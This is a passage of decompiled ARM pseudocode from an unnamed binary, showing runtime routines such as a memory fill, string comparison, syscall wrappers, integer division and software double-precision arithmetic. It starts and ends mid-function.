*(_BYTE *)a1 = v4;
v5 = a1 + 1;
*(_BYTE *)v5 = v4;
a1 = v5 + 1;
}
if ( v3 << 31 < 0 )
*(_BYTE *)a1++ = v4;
v6 = a3 >= (unsigned int)v3;
v7 = a3 - v3;
if ( (v7 != 0) & v6 )
{
v8 = -a1 & 0x1C;
if ( v8 )
{
if ( v8 > (unsigned int)v7 )
v8 = v7 & 0x1C;
v7 -= v8;
v6 = __CFSHL__(v8, 28);
v9 = v8 << 28;
if ( v6 )
{
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v4;
v10 = a1 + 8;
*(_DWORD *)v10 = v4;
*(_DWORD *)(v10 + 4) = v4;
a1 = v10 + 8;
}
if ( v9 < 0 )
{
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v4;
a1 += 8;
}
if ( __CFSHL__(v9, 2) )
{
*(_DWORD *)a1 = v4;
a1 += 4;
}
}
v11 = v7 - 32;
if ( v11 >= 0 )
{
do
{
v6 = (unsigned int)v11 >= 0x20;
v11 -= 32;
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v4;
*(_DWORD *)(a1 + 8) = v4;
*(_DWORD *)(a1 + 12) = v4;
*(_DWORD *)(a1 + 16) = v4;
*(_DWORD *)(a1 + 20) = v4;
*(_DWORD *)(a1 + 24) = v4;
*(_DWORD *)(a1 + 28) = v4;
a1 += 32;
}
while ( v6 );
}
v12 = v11 + 32;
v6 = __CFSHL__(v12, 28);
v13 = v12 << 28;
if ( v6 )
{
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v4;
*(_DWORD *)(a1 + 8) = v4;
*(_DWORD *)(a1 + 12) = v4;
a1 += 16;
}
if ( v13 < 0 )
{
*(_DWORD *)a1 = v4;
*(_DWORD *)(a1 + 4) = v4;
a1 += 8;
}
v6 = __CFSHL__(v13, 2);
v14 = 4 * v13;
if ( v6 )
{
*(_DWORD *)a1 = v4;
a1 += 4;
}
if ( v14 < 0 )
{
*(_WORD *)a1 = v4;
a1 += 2;
}
if ( __CFSHL__(v14, 2) )
*(_BYTE *)a1 = v4;
}
}
//----- (0000E36C) --------------------------------------------------------
int __fastcall sub_E36C(void *a1, void *a2)
{
char v2; // r2@2
unsigned int v3; // r0@2
unsigned int v4; // r1@2
int v5; // r0@2
unsigned int v6; // r12@2
unsigned int v7; // t1@2
int v8; // r1@3
int v9; // r3@3
int v10; // t1@3
unsigned int v11; // r2@4
int v12; // t1@4
char v13; // zf@5
unsigned int v14; // t1@8
int v15; // t1@8
unsigned int v16; // r0@9
char v17; // zf@9
int result; // r0@13
unsigned int v19; // r2@15
unsigned int v20; // t1@15
int v21; // r3@15
int v22; // t1@15
char v23; // zf@15
int v24; // r12@19
unsigned int v25; // r1@19
int v26; // r0@19
unsigned int v27; // r4@19
unsigned int v28; // t1@19
int v29; // r1@19
unsigned int v30; // r5@19
unsigned int v31; // t1@19
unsigned int v32; // r12@21
unsigned int v33; // r3@22
unsigned int v34; // t1@23
unsigned int v35; // t1@26
unsigned int v36; // r5@27
unsigned int v37; // r3@32
unsigned int v38; // t1@33
unsigned int v39; // t1@36
unsigned int v40; // t1@43
unsigned int v41; // t1@46
int v42; // r2@52
int v43; // r0@52
char v44; // zf@52
__pld(a1);
__pld(a2);
if ( ((unsigned int)a1 ^ (unsigned int)a2) & 3 )
{
while ( (unsigned __int8)a1 & 3 )
{
v20 = *(_BYTE *)a1;
a1 = (char *)a1 + 1;
v19 = v20;
v22 = *(_BYTE *)a2;
a2 = (char *)a2 + 1;
v21 = v22;
v23 = v19 == 1;
if ( v19 >= 1 )
v23 = v19 == v21;
if ( !v23 )
return v19 - v21;
}
v24 = (unsigned __int8)a2 & 3;
v25 = (unsigned int)a2 & 0xFFFFFFFC;
v28 = *(_DWORD *)a1;
v26 = (int)((char *)a1 + 4);
v27 = v28;
v31 = *(_DWORD *)v25;
v29 = v25 + 4;
v30 = v31;
if ( v24 == 2 )
{
while ( 1 )
{
v32 = (unsigned __int16)v27;
if ( (unsigned __int16)v27 != v30 >> 16 )
goto LABEL_40;
v37 = (v27 - 16843009) & ~v27 & 0x80808080;
if ( v37 )
break;
v38 = *(_DWORD *)v29;
v29 += 4;
v30 = v38;
if ( (v32 ^ v27) != v30 << 16 )
{
v30 <<= 16;
v32 = v27 >> 16;
LABEL_40:
v36 = v30 >> 16;
goto LABEL_52;
}
v39 = *(_DWORD *)v26;
v26 += 4;
v27 = v39;
}
if ( !(v37 << 16) )
{
v36 = *(_WORD *)v29;
v32 = v27 >> 16;
goto LABEL_52;
}
LABEL_51:
result = 0;
}
else
{
if ( (unsigned int)v24 > 2 )
{
while ( 1 )
{
v32 = (unsigned __int8)v27;
if ( (unsigned __int8)v27 != v30 >> 24 )
{
v36 = v30 >> 24;
goto LABEL_52;
}
if ( (v27 - 16843009) & ~v27 & 0x80808080 )
break;
v40 = *(_DWORD *)v29;
v29 += 4;
v30 = v40;
if ( (v32 ^ v27) != v30 << 8 )
goto LABEL_50;
v41 = *(_DWORD *)v26;
v26 += 4;
v27 = v41;
}
if ( !(unsigned __int8)v27 )
goto LABEL_51;
v30 = *(_DWORD *)v29;
LABEL_50:
v32 = v27 >> 8;
v36 = v30 & 0xFFFFFF;
}
else
{
while ( 1 )
{
v32 = v27 & 0xFFFFFF;
if ( (v27 & 0xFFFFFF) != v30 >> 8 )
{
v36 = v30 >> 8;
goto LABEL_52;
}
v33 = (v27 - 16843009) & ~v27 & 0x80808080;
if ( v33 )
break;
v34 = *(_DWORD *)v29;
v29 += 4;
v30 = v34;
if ( (v32 ^ v27) != v30 << 24 )
{
v32 = v27 >> 24;
v36 = (unsigned __int8)v30;
goto LABEL_52;
}
v35 = *(_DWORD *)v26;
v26 += 4;
v27 = v35;
}
if ( (v27 - 16843009) & ~v27 & 0x808080 )
goto LABEL_51;
v36 = *(_BYTE *)v29;
v32 = v27 >> 24;
}
while ( 1 )
{
LABEL_52:
v42 = (unsigned __int8)v32;
v43 = (unsigned __int8)v36;
v44 = (unsigned __int8)v36 == 1;
if ( (unsigned __int8)v36 >= 1u )
v44 = v43 == v42;
if ( !v44 )
break;
v32 >>= 8;
v36 >>= 8;
}
result = v42 - v43;
}
}
else
{
v2 = (unsigned __int8)a1 & 3;
v13 = ((unsigned __int8)a1 & 3) == 0;
v3 = (unsigned int)a1 & 0xFFFFFFFC;
v4 = (unsigned int)a2 & 0xFFFFFFFC;
v7 = *(_DWORD *)v3;
v5 = v3 + 4;
v6 = v7;
if ( v13 )
{
v10 = *(_DWORD *)v4;
v8 = v4 + 4;
v9 = v10;
}
else
{
v11 = 0xFFFFFFu >> 8 * (v2 ^ 3);
v12 = *(_DWORD *)v4;
v8 = v4 + 4;
v6 |= v11;
v9 = v12 | v11;
}
while ( 1 )
{
__pld((void *)(v5 + 8));
__pld((void *)(v8 + 8));
v13 = v6 == v9;
if ( v6 == v9 )
v13 = ((v6 - 16843009) & ~v6 & 0x80808080) == 0;
if ( !v13 )
break;
v14 = *(_DWORD *)v5;
v5 += 4;
v6 = v14;
v15 = *(_DWORD *)v8;
v8 += 4;
v9 = v15;
}
while ( 1 )
{
v16 = v6 << 24;
v6 >>= 8;
v17 = v16 == 1;
if ( v16 >= 1 )
v17 = v16 == v9 << 24;
if ( !v17 )
break;
v9 = (unsigned int)v9 >> 8;
}
result = (v16 >> 24) - (unsigned __int8)v9;
}
return result;
}
//----- (0000E5DC) --------------------------------------------------------
int __fastcall sub_E5DC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);
//----- (0000E5FC) --------------------------------------------------------
int __fastcall sub_E5FC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);
//----- (0000E6BC) --------------------------------------------------------
int __fastcall sub_E6BC(int result)
{
int v1; // r12@0
int v2; // r4@1
v2 = *(_DWORD *)v1;
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);
//----- (0000E6EC) --------------------------------------------------------
int __fastcall sub_E6EC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);
//----- (0000E70C) --------------------------------------------------------
int __fastcall sub_E70C(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);
//----- (0000E7AC) --------------------------------------------------------
int __fastcall sub_E7AC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);
//----- (0000E7CC) --------------------------------------------------------
int __fastcall sub_E7CC(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);
//----- (0000E80C) --------------------------------------------------------
int __fastcall sub_E80C(int result)
{
__asm { SVC 0 }
if ( result < 0 )
result = sub_22CF0();
return result;
}
// 22CF0: using guessed type int sub_22CF0(void);
//----- (0000E83C) --------------------------------------------------------
int __fastcall sub_E83C(int a1, int a2, int a3, int a4)
{
__asm
{
SVC 0
SVC 0
}
return sub_E85C(v0, a2, a3, a4);
}
//----- (0000E85C) --------------------------------------------------------
int __fastcall sub_E85C(int a1, int a2, int a3, int a4)
{
int result; // r0@1
int v9; // [sp+0h] [bp-10h]@0
int (__fastcall *v10)(_DWORD); // [sp+4h] [bp-Ch]@0
int v11; // [sp+8h] [bp-8h]@3
*(_DWORD *)(a2 - 4) = a1;
*(_DWORD *)(a2 - 8) = a4;
result = a3;
__asm { SVC 0 }
if ( (a3 < 0) ^ _VF )
{
result = -1;
}
else if ( !a3 )
{
result = sub_1FAB4(v10, v9, (unsigned int *)&v11);
}
return result;
}
//----- (0000E91C) --------------------------------------------------------
unsigned int __fastcall sub_E91C(unsigned int result, unsigned int a2)
{
int v2; // lr@0
char v3; // r2@6
unsigned int v4; // r1@6
unsigned int v5; // r3@6
unsigned int v6; // r2@6
char v7; // zf@15
if ( a2 != 1 )
{
if ( a2 < 1 )
{
nullsub_1(result);
JUMPOUT(__CS__, v2);
}
if ( result <= a2 )
{
result = result == a2;
}
else if ( a2 & (a2 - 1) )
{
v3 = __clz(a2) - __clz(result);
v4 = a2 << v3;
v5 = 1 << v3;
v6 = 0;
while ( 1 )
{
if ( result >= v4 )
{
result -= v4;
v6 |= v5;
}
if ( result >= v4 >> 1 )
{
result -= v4 >> 1;
v6 |= v5 >> 1;
}
if ( result >= v4 >> 2 )
{
result -= v4 >> 2;
v6 |= v5 >> 2;
}
if ( result >= v4 >> 3 )
{
result -= v4 >> 3;
v6 |= v5 >> 3;
}
v7 = result == 0;
if ( result )
{
v5 >>= 4;
v7 = v5 == 0;
}
if ( v7 )
break;
v4 >>= 4;
}
result = v6;
}
else
{
result >>= 31 - __clz(a2);
}
}
return result;
}
// EAD4: using guessed type int __cdecl nullsub_1(_DWORD);
//----- (0000E9C8) --------------------------------------------------------
unsigned int __fastcall sub_E9C8(unsigned int a1, unsigned int a2)
{
return sub_E91C(a1, a2);
}
//----- (0000E9E0) --------------------------------------------------------
int __fastcall sub_E9E0(int result, unsigned int a2)
{
int v2; // lr@0
int v3; // r12@1
int v4; // r3@5
char v5; // r0@9
unsigned int v6; // r1@9
unsigned int v7; // r2@9
char v8; // zf@18
v3 = result ^ a2;
if ( !a2 )
{
nullsub_1(result);
JUMPOUT(__CS__, v2);
}
if ( (a2 & 0x80000000) != 0 )
a2 = -a2;
if ( a2 == 1 )
{
if ( (v3 ^ result) < 0 )
result = -result;
}
else
{
v4 = result;
if ( result < 0 )
v4 = -result;
if ( v4 <= a2 )
{
if ( v4 < a2 )
result = 0;
if ( v4 == a2 )
result = (v3 >> 31) | 1;
}
else if ( a2 & (a2 - 1) )
{
v5 = __clz(a2) - __clz(v4);
v6 = a2 << v5;
v7 = 1 << v5;
result = 0;
while ( 1 )
{
if ( v4 >= v6 )
{
v4 -= v6;
result |= v7;
}
if ( v4 >= v6 >> 1 )
{
v4 -= v6 >> 1;
result |= v7 >> 1;
}
if ( v4 >= v6 >> 2 )
{
v4 -= v6 >> 2;
result |= v7 >> 2;
}
if ( v4 >= v6 >> 3 )
{
v4 -= v6 >> 3;
result |= v7 >> 3;
}
v8 = v4 == 0;
if ( v4 )
{
v7 >>= 4;
v8 = v7 == 0;
}
if ( v8 )
break;
v6 >>= 4;
}
if ( v3 < 0 )
result = -result;
}
else
{
result = (unsigned int)v4 >> (31 - __clz(a2));
if ( v3 < 0 )
result = -result;
}
}
return result;
}
// EAD4: using guessed type int __cdecl nullsub_1(_DWORD);
//----- (0000EAE4) --------------------------------------------------------
int __fastcall sub_EAE4(__int64 a1, __int64 a2)
{
int v2; // r4@1
int v3; // r5@1
char v4; // zf@1
signed int v5; // r4@9
unsigned __int8 v6; // zf@9
char v7; // nf@9
unsigned __int8 v8; // vf@9
int v9; // r5@9
__int64 v10; // r2@12
int v11; // r4@19
char v12; // lr@19
int v13; // r12@20
__int64 v14; // r0@20
char v15; // nf@20
char v16; // r5@21
int v17; // off@29
int v18; // off@29
unsigned __int8 v19; // cf@30
int v20; // off@33
int v21; // r4@33
char v22; // zf@34
unsigned int v23; // r3@36
int v24; // r3@38
unsigned __int8 v25; // zf@38
char v26; // nf@38
unsigned __int8 v27; // vf@38
int v28; // r2@38
int v29; // r4@46
int v30; // r4@48
int v31; // r4@48
char v32; // zf@55
char v33; // zf@58
v2 = 2 * HIDWORD(a1);
v3 = 2 * HIDWORD(a2);
v4 = 2 * HIDWORD(a1) == 2 * HIDWORD(a2);
if ( 2 * HIDWORD(a1) == 2 * HIDWORD(a2) )
v4 = (_DWORD)a1 == (_DWORD)a2;
if ( !v4 )
{
v4 = (v2 | (unsigned int)a1) == 0;
if ( v2 | (unsigned int)a1 )
{
v4 = (v3 | (unsigned int)a2) == 0;
if ( v3 | (unsigned int)a2 )
{
v4 = ~(v2 >> 21) == 0;
if ( ~(v2 >> 21) )
v4 = ~(v3 >> 21) == 0;
}
}
}
if ( v4 )
{
v32 = ~(v2 >> 21) == 0;
if ( ~(v2 >> 21) )
v32 = ~(v3 >> 21) == 0;
if ( v32 )
{
if ( ~(v2 >> 21) )
a1 = a2;
}
else
{
v33 = v2 == v3;
if ( v2 == v3 )
v33 = (_DWORD)a1 == (_DWORD)a2;
if ( v33 )
{
if ( HIDWORD(a1) != HIDWORD(a2) )
{
LODWORD(a1) = 0;
return a1;
}
if ( !((unsigned int)v2 >> 21) )
{
LODWORD(a1) = 2 * a1;
return a1;
}
if ( (unsigned int)v2 < 0xFFC00000 )
return a1;
goto LABEL_69;
}
if ( !(v2 | (unsigned int)a1) )
LODWORD(a1) = a2;
}
}
else
{
v5 = (unsigned int)v2 >> 21;
v8 = __OFSUB__((unsigned int)v3 >> 21, v5);
v9 = ((unsigned int)v3 >> 21) - v5;
v6 = v9 == 0;
v7 = v9 < 0;
if ( (v9 < 0) ^ v8 )
v9 = -v9;
if ( !((unsigned __int8)(v7 ^ v8) | v6) )
{
v5 += v9;
v10 = a1 ^ a2;
a1 ^= v10;
a2 = a1 ^ v10;
}
if ( (unsigned int)v9 <= 0x36 )
{
v4 = (HIDWORD(a1) & 0x80000000) == 0;
HIDWORD(a1) = HIDWORD(a1) & 0xFFFFF | 0x100000;
if ( !v4 )
{
v19 = (unsigned int)a1 <= 0;
LODWORD(a1) = -(signed int)a1;
HIDWORD(a1) = -(!v19 + HIDWORD(a1));
}
v4 = (HIDWORD(a2) & 0x80000000) == 0;
HIDWORD(a2) = HIDWORD(a2) & 0xFFFFF | 0x100000;
if ( !v4 )
{
v19 = (unsigned int)a2 <= 0;
LODWORD(a2) = -(signed int)a2;
HIDWORD(a2) = -(!v19 + HIDWORD(a2));
}
if ( v5 == v9 )
{
HIDWORD(a2) ^= 0x100000u;
if ( v5 )
{
--v9;
}
else
{
HIDWORD(a1) ^= 0x100000u;
v5 = 1;
}
}
v11 = v5 - 1;
v12 = 32 - v9;
if ( v9 > 32 )
{
v16 = v9 - 32;
v13 = HIDWORD(a2) << (v12 + 32);
if ( (unsigned int)a2 >= 1 )
v13 |= 2u;
LODWORD(a1) = a1 + (SHIDWORD(a2) >> v16);
HIDWORD(a1) += (SHIDWORD(a2) >> 31) + __CFSHR__(HIDWORD(a2), 31);
v15 = SHIDWORD(a1) < 0;
}
else
{
v13 = (_DWORD)a2 << v12;
v14 = a1 + ((unsigned int)a2 >> v9);
LODWORD(a1) = v14 + (HIDWORD(a2) << v12);
HIDWORD(a1) += (SHIDWORD(a2) >> v9) + __CFSHR__(HIDWORD(a2), v9);
v15 = SHIDWORD(a1) < 0;
}
if ( v15 )
{
v19 = (unsigned int)v13 <= 0;
v13 = -v13;
LODWORD(a1) = -(!v19 + a1);
HIDWORD(a1) = -(HIDWORD(a1) + 1);
}
if ( HIDWORD(a1) >= 0x100000 )
{
if ( HIDWORD(a1) < 0x200000 )
goto LABEL_30;
v17 = __RCR__(a1, 1);
LODWORD(a1) = v17;
v18 = __RCR__(v13, 1);
v13 = v18;
if ( (unsigned int)((v11 + 1) << 21) < 0xFFC00000 )
goto LABEL_30;
LABEL_69:
LODWORD(a1) = 0;
return a1;
}
v19 = __CFSHL__(v13, 1);
v13 *= 2;
v20 = v19 + (_DWORD)a1;
v19 = __CFADD__(v19, (_DWORD)a1) | __CFADD__((_DWORD)a1, v20);
LODWORD(a1) = a1 + v20;
HIDWORD(a1) += v19 + HIDWORD(a1);
v21 = v11 - 1;
if ( HIDWORD(a1) & 0x100000 )
{
LABEL_30:
v19 = (unsigned int)v13 >= 0x80000000;
if ( v13 == 0x80000000 )
v19 = a1 & 1;
LODWORD(a1) = v19 + (_DWORD)a1;
return a1;
}
v22 = HIDWORD(a1) == 0;
if ( !HIDWORD(a1) )
{
HIDWORD(a1) = a1;
LODWORD(a1) = 0;
}
v23 = __clz(HIDWORD(a1));
if ( v22 )
v23 += 32;
v24 = v23 - 11;
v27 = __OFSUB__(v24, 32);
v28 = v24 - 32;
v25 = v24 == 32;
v26 = v24 - 32 < 0;
if ( v24 < 32 )
{
v27 = __OFADD__(v28, 12);
v25 = v24 == 20;
v26 = v24 - 20 < 0;
if ( !((unsigned __int8)(v26 ^ __OFADD__(v28, 12)) | (v24 == 20)) )
{
LODWORD(a1) = HIDWORD(a1) << v24;
HIDWORD(a1) >>= 32 - v24;
LABEL_46:
v8 = __OFSUB__(v21, v24);
v29 = v21 - v24;
if ( (v29 < 0) ^ v8 )
{
v30 = ~v29;
v8 = __OFSUB__(v30, 31);
v31 = v30 - 31;
if ( (v31 < 0) ^ v8 )
LODWORD(a1) = ((unsigned int)a1 >> (v31 + 32)) | (HIDWORD(a1) << -(char)v31);
else
LODWORD(a1) = HIDWORD(a1) >> v31;
}
return a1;
}
LOBYTE(v28) = v24;
}
if ( (unsigned __int8)(v26 ^ v27) | v25 )
LOBYTE(v13) = 32 - v28;
HIDWORD(a1) <<= v28;
if ( (unsigned __int8)(v26 ^ v27) | v25 )
{
HIDWORD(a1) |= (unsigned int)a1 >> v13;
LODWORD(a1) = (_DWORD)a1 << v28;
}
goto LABEL_46;
}
}
return a1;
}
//----- (0000ED90) --------------------------------------------------------
int __fastcall sub_ED90(int result)
{
if ( result )
JUMPOUT(&loc_EC2C);
return result;
}
//----- (0000EDB4) --------------------------------------------------------
int __fastcall sub_EDB4(int result)
{
if ( result )
JUMPOUT(&loc_EC2C);
return result;
}
//----- (0000EE90) --------------------------------------------------------
int __fastcall sub_EE90(int result, unsigned int a2, int a3, unsigned int a4)
{
int v4; // r5@0
char v5; // zf@1
int v6; // r4@1
int v7; // r4@7
int v8; // r6@7
int v9; // r1@7
int v10; // r3@7
char v11; // zf@7
int v12; // r1@9
int v13; // r3@9
int v14; // r12@10
unsigned int v15; // r5@10
unsigned int v16; // lr@10
unsigned int v17; // r2@10
unsigned int v18; // r5@10
unsigned int v19; // lr@10
unsigned __int64 v20; // kr18_8@10
unsigned int v21; // r5@10
unsigned int v22; // r6@10
int v23; // r4@12
int v24; // off@13
int v25; // r1@14
unsigned int v26; // lr@14
unsigned __int8 v27; // cf@14
unsigned __int8 v28; // zf@14
char v29; // nf@14
unsigned __int8 v30; // vf@14
int v31; // r12@14
unsigned __int8 v32; // cf@17
unsigned int v33; // r1@20
unsigned __int8 v34; // zf@20
char v35; // nf@20
unsigned __int8 v36; // vf@20
int v37; // r4@20
int v38; // r4@29
int v39; // r4@29
int v40; // r4@31
char v41; // r4@33
unsigned int v42; // r3@33
char v43; // r4@36
unsigned int v44; // r3@36
int v45; // lr@39
int v46; // r3@39
int v47; // r5@47
char v48; // zf@49
char v49; // zf@52
char v50; // zf@57
v6 = (a2 >> 20) & 0x7FF;
v5 = v6 == 0;
if ( v6 )
{
v4 = (a4 >> 20) & 0x7FF;
v5 = v4 == 0;
}
if ( !v5 )
{
v5 = v6 == 2047;
if ( v6 != 2047 )
v5 = v4 == 2047;
}
if ( v5 )
{
v48 = v6 == 2047;
v47 = (a4 >> 20) & 0x7FF;
if ( v6 != 2047 )
v48 = v47 == 2047;
if ( v48 )
{
v50 = (result | 2 * a2) == 0;
if ( result | 2 * a2 )
{
v50 = (a3 | 2 * a4) == 0;
}
else
{
result = a3;
a2 = a4;
}
if ( !v50 && (v6 != 2047 || !(result | (a2 << 12))) )
{
if ( v47 == 2047 && a3 | (a4 << 12) )
return a3;
return 0;
}
}
else
{
v49 = (result | 2 * a2) == 0;
if ( result | 2 * a2 )
v49 = (a3 | 2 * a4) == 0;
if ( v49 )
{
result = 0;
}
else
{
if ( v6 )
goto LABEL_69;
while ( 1 )
{
v27 = __CFSHL__(result, 1);
result *= 2;
a2 += v27 + a2;
if ( a2 & 0x100000 )
break;
--v6;
}
if ( !v47 )
{
LABEL_69:
while ( 1 )
{
v27 = __CFSHL__(a3, 1);
a3 *= 2;
a4 += v27 + a4;
if ( a4 & 0x100000 )
break;
--v47;
}
}
}
}
}
else
{
v7 = v6 + v4;
v8 = a2 ^ a4;
v9 = a2 & 0x1FFFFF;
v10 = a4 & 0x1FFFFF;
v11 = (result | (v9 << 12)) == 0;
if ( result | (v9 << 12) )
v11 = (a3 | (v10 << 12)) == 0;
v12 = v9 | 0x100000;
v13 = v10 | 0x100000;
if ( v11 )
{
result |= a3;
v33 = (v8 & 0x80000000 | v12) ^ v13;
v36 = __OFSUB__(v7, 1023);
v37 = v7 - 1023;
v34 = v37 == 0;
v35 = v37 < 0;
if ( !((unsigned __int8)((v37 < 0) ^ v36) | (v37 == 0)) )
{
v36 = __OFSUB__(2047, v37);
v34 = 2047 == v37;
v35 = 2047 - v37 < 0;
}
if ( !((unsigned __int8)(v35 ^ v36) | v34) )
return result;
v25 = v33 | 0x100000;
v26 = 0;
v30 = __OFSUB__(v37, 1);
v23 = v37 - 1;
v28 = v23 == 0;
v29 = v23 < 0;
}
else
{
v14 = result * a3;
v15 = ((unsigned int)v12 * (unsigned __int64)(unsigned int)a3
+ (unsigned int)((unsigned int)result * (unsigned __int64)(unsigned int)a3 >> 32)) >> 32;
v16 = v12 * a3 + ((unsigned int)result * (unsigned __int64)(unsigned int)a3 >> 32);
v17 = v8 & 0x80000000;
v20 = (unsigned int)result * (unsigned __int64)(unsigned int)v13 + __PAIR__(v15, v16);
v18 = v20 >> 32;
v19 = v20;
v22 = ((unsigned int)v12 * (unsigned __int64)(unsigned int)v13 + v18) >> 32;
v21 = v12 * v13 + v18;
if ( v14 )
v19 = v20 | 1;
v23 = (__PAIR__((unsigned int)(v7 - 255), v22) - 3298534883840LL) >> 32;
if ( v22 < 0x200 )
{
v27 = __CFSHL__(v19, 1);
v19 *= 2;
v24 = v27 + v21;
v27 = __CFADD__(v27, v21) | __CFADD__(v21, v24);
v21 += v24;
v22 += v27 + v22;
}
v25 = v17 | (v22 << 11) | (v21 >> 21);
result = (v21 << 11) | (v19 >> 21);
v26 = v19 << 11;
v30 = __OFSUB__(v23, 253);
v27 = (unsigned int)v23 >= 0xFD;
v31 = v23 - 253;
v28 = v23 == 253;
v29 = v23 - 253 < 0;
if ( (unsigned int)v23 > 0xFD )
{
v30 = __OFSUB__(v31, 1792);
v27 = (unsigned int)v31 >= 0x700;
v28 = v31 == 1792;
v29 = v23 - 2045 < 0;
}
if ( !(!v28 & v27) )
{
v32 = v26 >= 0x80000000;
if ( v26 == 0x80000000 )
v32 = result & 1;
result += v32;
return result;
}
}
if ( !((unsigned __int8)(v29 ^ v30) | v28) )
return 0;
if ( (unsigned __int8)((v23 + 54 < 0) ^ __OFADD__(v23, 54)) | (v23 == -54) )
{
result = 0;
}
else
{
v38 = -v23;
v30 = __OFSUB__(v38, 32);
v39 = v38 - 32;
if ( (v39 < 0) ^ v30 )
{
v30 = __OFADD__(v39, 12);
v40 = v39 + 12;
if ( (unsigned __int8)((v40 < 0) ^ v30) | (v40 == 0) )
{
v41 = v40 + 20;
v42 = result << (32 - v41);
result = (((unsigned int)result >> v41) | (v25 << (32 - v41))) + (v42 >> 31);
if ( !(v26 | 2 * v42) )
result &= ~(v42 >> 31);
}
else
{
v43 = 12 - v40;
v44 = result << v43;
result = (((unsigned int)result >> (32 - v43)) | (v25 << v43)) + ((unsigned int)(result << v43) >> 31);
if ( !(v26 | 2 * v44) )
result &= ~(v44 >> 31);
}
}
else
{
v45 = v26 | (result << (32 - v39));
v46 = ((unsigned int)result >> v39) | (v25 << (32 - v39));
result = (((unsigned int)v25 >> v39) & ~((v25 & 0x80000000) >> v39)) + ((unsigned int)v46 >> 31);
if ( !(v45 | 2 * v46) )
result &= ~((unsigned int)v46 >> 31);
}
}
}
return result;
}
//----- (0000F0FC) --------------------------------------------------------
void __fastcall sub_F0FC(int a1, int a2, int a3, unsigned int a4)
{
int v4; // r5@0
unsigned int v5; // r12@1
char v6; // zf@1
int v7; // r4@1
int v8; // r4@8
int v9; // lr@8
unsigned int v10; // r1@8
__int64 v11; // r2@9
int v12; // r5@9
unsigned int v13; // r6@9
unsigned int v14; // r1@9
unsigned __int8 v15; // cf@9
int v16; // r4@11
int v17; // off@12
unsigned int v18; // r5@13
unsigned int v19; // r6@13
__int64 v20; // r2@13
int v21; // off@13
signed int v22; // r0@13
unsigned int v23; // r12@13
unsigned int v24; // lr@14
unsigned int v25; // r3@16
int v26; // r2@16
unsigned int v27; // off@16
unsigned int v28; // lr@16
unsigned int v29; // r3@18
unsigned int v30; // r2@18
unsigned int v31; // off@18
unsigned int v32; // lr@18
signed __int64 v33; // r2@20
unsigned int v34; // off@20
unsigned int v35; // lr@20
unsigned __int8 v36; // cf@26
char v37; // zf@26
int v38; // r12@26
unsigned __int8 v39; // zf@31
char v40; // nf@31
unsigned __int8 v41; // vf@31
int v42; // r4@31
v5 = 2047;
v7 = ((unsigned int)a2 >> 20) & 0x7FF;
v6 = v7 == 0;
if ( v7 )
{
v4 = (a4 >> 20) & 0x7FF;
v6 = v4 == 0;
}
if ( !v6 )
{
v6 = v7 == 2047;
if ( v7 != 2047 )
v6 = v4 == 2047;
}
if ( v6 )
sub_F290(a1, a2, a3, a4);
v8 = v7 - v4;
v9 = a2 ^ a4;
v10 = a2 << 12;
if ( a3 | (a4 << 12) )
{
HIDWORD(v11) = (a4 << 8) & 0xFFFFFFF | 0x10000000 | ((unsigned int)a3 >> 24);
LODWORD(v11) = a3 << 8;
v12 = (v10 >> 4) | 0x10000000 | ((unsigned int)a1 >> 24);
v13 = a1 << 8;
v14 = v9 & 0x80000000;
v15 = (unsigned int)v12 >= HIDWORD(v11);
if ( v12 == HIDWORD(v11) )
v15 = v13 >= (unsigned int)v11;
v16 = v15 + v8 + 1021;
if ( !v15 )
{
HIDWORD(v11) >>= 1;
v17 = __RCR__(v11, 1);
LODWORD(v11) = v17;
}
v18 = (__PAIR__((unsigned int)v12, v13) - v11) >> 32;
v19 = v13 - v11;
HIDWORD(v11) >>= 1;
v21 = __RCR__(v11, 1);
LODWORD(v20) = v21;
v22 = 0x100000;
v23 = 0x80000;
while ( 1 )
{
v24 = (__PAIR__(v18, v19) - v20) >> 32;
if ( __CFADD__(v18, ~HIDWORD(v20) + (v19 >= (unsigned int)v20)) )
{
v19 -= v20;
v18 = v24;
v22 |= v23;
}
HIDWORD(v20) >>= 1;
v27 = __RCR__(v20, 1);
LODWORD(v20) = v27;
v28 = (__PAIR__(v18, v19) - __PAIR__(HIDWORD(v20), v27)) >> 32;
if ( __CFADD__(v18, ~HIDWORD(v20) + (v19 >= v27)) )
{
v19 -= v26;
v18 = v28;
v22 |= v23 >> 1;
}
v29 = v25 >> 1;
v31 = __RCR__(v26, 1);
v30 = v31;
v32 = (__PAIR__(v18, v19) - __PAIR__(v29, v31)) >> 32;
if ( __CFADD__(v18, ~v29 + (v19 >= v31)) )
{
v19 -= v30;
v18 = v32;
v22 |= v23 >> 2;
}
HIDWORD(v33) = v29 >> 1;
v34 = __RCR__(v30, 1);
LODWORD(v33) = v34;
v35 = (__PAIR__(v18, v19) - __PAIR__(HIDWORD(v33), v34)) >> 32;
if ( __CFADD__(v18, ~HIDWORD(v33) + (v19 >= v34)) )
{
v19 -= v33;
v18 = v35;
v22 |= v23 >> 3;
}
if ( !(v18 | v19) )
break;
v18 = 16 * v18 | (v19 >> 28);
v19 *= 16;
HIDWORD(v20) = v33 >> 29;
LODWORD(v20) = 8 * v20;
v23 >>= 4;
if ( !v23 )
{
if ( v14 & 0x100000 )
break;
v14 |= v22;
v22 = 0;
v23 = 2147483648;
}
}
v36 = (unsigned int)v16 >= 0xFD;
v38 = v16 - 253;
v37 = v16 == 253;
